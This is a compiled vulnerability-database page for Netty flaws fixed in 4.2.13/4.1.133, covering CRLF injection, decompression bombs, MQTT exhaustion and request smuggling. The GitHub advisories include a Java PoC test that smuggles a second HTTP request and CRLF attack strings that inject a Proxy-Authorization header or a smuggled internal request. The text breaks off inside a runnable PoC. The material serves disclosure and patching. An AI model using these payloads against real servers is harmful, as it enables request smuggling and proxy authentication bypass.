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Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:35
Summary
Security fixes in management-api-for-apache-cassandra-5.0 0.1.118-r2
Details
Package management-api-for-apache-cassandra-5.0 version 0.1.118-r2 fixes 26 vulnerabilities: CVE-2026-42583, CVE-2026-42579, CVE-2026-33870, CVE-2026-42584, CVE-2026-42587...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "management-api-for-apache-cassandra-5.0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.118-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.118-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package management-api-for-apache-cassandra-5.0 version 0.1.118-r2 fixes 26 vulnerabilities: CVE-2026-42583, CVE-2026-42579, CVE-2026-33870, CVE-2026-42584, CVE-2026-42587...",
"id": "CLEANSTART-2026-IW72112",
"modified": "2026-07-30T09:35:12Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/k8ssandra/management-api-for-apache-cassandra"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in management-api-for-apache-cassandra-5.0 0.1.118-r2",
"upstream": [
"CVE-2026-42583",
"CVE-2026-42579",
"CVE-2026-33870",
"CVE-2026-42584",
"CVE-2026-42587",
"CVE-2026-41417",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42585",
"CVE-2026-33871",
"CVE-2026-44248",
"CVE-2026-42586",
"CVE-2026-42578",
"ghsa-w9fj-cfpg-grvv",
"ghsa-cm33-6792-r9fm",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-57rv-r2g8-2cj3",
"ghsa-v8h7-rr48-vmmv",
"ghsa-jfg9-48mv-9qgx",
"ghsa-m4cv-j2px-7723",
"ghsa-xxqh-mfjm-7mv9",
"ghsa-38f8-5428-x5cv",
"ghsa-rgrr-p7gp-5xj7",
"ghsa-45q3-82m4-75jr"
]
}
CVE-2026-42586 (GCVE-0-2026-42586)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:20 – Updated: 2026-05-14 18:17
VLAI
EPSS
VEX
Title
Netty: CRLF Injection in Netty Redis Codec Encoder
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
6.8 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-redis |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42586",
"options": [
{
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},
{
"Automatable": "no"
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{
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}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-14T18:17:18.157220Z",
"version": "2.0.3"
},
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}
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"providerMetadata": {
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"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
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},
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"tags": [
"exploit"
],
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}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-redis",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
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},
{
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}
]
}
],
"descriptions": [
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}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T18:20:46.999Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"
}
],
"source": {
"advisory": "GHSA-rgrr-p7gp-5xj7",
"discovery": "UNKNOWN"
},
"title": "Netty: CRLF Injection in Netty Redis Codec Encoder"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42586",
"datePublished": "2026-05-13T18:20:46.999Z",
"dateReserved": "2026-04-28T17:26:12.086Z",
"dateUpdated": "2026-05-14T18:17:23.328Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42587 (GCVE-0-2026-42587)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:22 – Updated: 2026-07-22 12:08
VLAI
EPSS
VEX
Title
Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
13 references
Impacted products
35 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-http |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-http2 |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| Red Hat | Cryostat 4 on RHEL 9 |
Unaffected:
4.2.0-10 , < *
(rpm)
cpe:/a:redhat:cryostat:4::el9 |
|
| Red Hat | Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:apache_camel_spring_boot:4.18 |
|
| Red Hat | Red Hat build of Quarkus 3.27.4 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:quarkus:3.27::el8 |
|
| Red Hat | Red Hat build of Quarkus 3.33.2 |
cpe:/a:redhat:quarkus:3.33::el8 |
|
| Red Hat | Red Hat Data Grid 8.6.2 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Streams for Apache Kafka 2.9.4 |
Unaffected:
codec-http2 , < *
(rpm)
cpe:/a:redhat:amq_streams:2.9::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783443816 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780948325 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780696380 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780694994 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.29 |
Unaffected:
1782989027 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.29::el9 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | OpenShift Serverless |
cpe:/a:redhat:serverless:1 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat AMQ Clients |
cpe:/a:redhat:amq_clients:2023 |
|
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3 |
|
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2 |
|
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3 |
|
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3 |
|
| Red Hat | Red Hat Build of Keycloak |
cpe:/a:redhat:build_keycloak: |
|
| Red Hat | Red Hat build of OptaPlanner 8 |
cpe:/a:redhat:optaplanner:::el6 |
|
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2 |
|
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42587",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-13T18:43:31.138358Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-23T15:52:26.728Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
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"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-reports-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
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"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
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],
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"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
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"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/jfr-datasource-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_spring_boot:4.18"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.27::el8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Quarkus 3.27.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.33::el8"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Quarkus 3.33.2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat Data Grid 8.6.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2.9::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Streams for Apache Kafka 2.9.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-modelmesh-rhel9",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783443816",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/openvsx-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780948325",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/pluginregistry-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780696380",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/server-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780694994",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.29::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/multicluster-redirector-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.29",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782989027",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-dispatcher-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-receiver-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
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CVE-2026-44248 (GCVE-0-2026-44248)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:23 – Updated: 2026-07-30 12:05
VLAI
EPSS
VEX
Title
Netty: Resource exhaustion in MqttDecoder
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
5.3 (Medium)
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://access.redhat.com/security/cve/CVE-2026-44248 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477231 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:41951 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:37390 | vendor-advisoryx_refsource_REDHAT |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec-mqtt |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| Red Hat | Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 |
Unaffected:
codec-mqtt , < *
(rpm)
cpe:/a:redhat:apache_camel_spring_boot:4.18 |
|
| Red Hat | Red Hat Data Grid 8.6.2 |
Unaffected:
codec-mqtt , < *
(rpm)
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
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GHSA-38F8-5428-X5CV
Vulnerability from github – Published: 2026-05-07 00:22 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding
Details
Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Severity
6.5 (Medium)
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"details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n public void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked, identity\\r\\n\" +\n \"Content-Length: 48\\r\\n\" +\n \"\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n assertFalse(request.headers().contains(\"Content-Length\"));\n LastHttpContent last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n // Request 2\n request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
"id": "GHSA-38f8-5428-x5cv",
"modified": "2026-05-14T20:41:21Z",
"published": "2026-05-07T00:22:27Z",
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},
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GHSA-45Q3-82M4-75JR
Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40
VLAI
Summary
Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)
Details
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
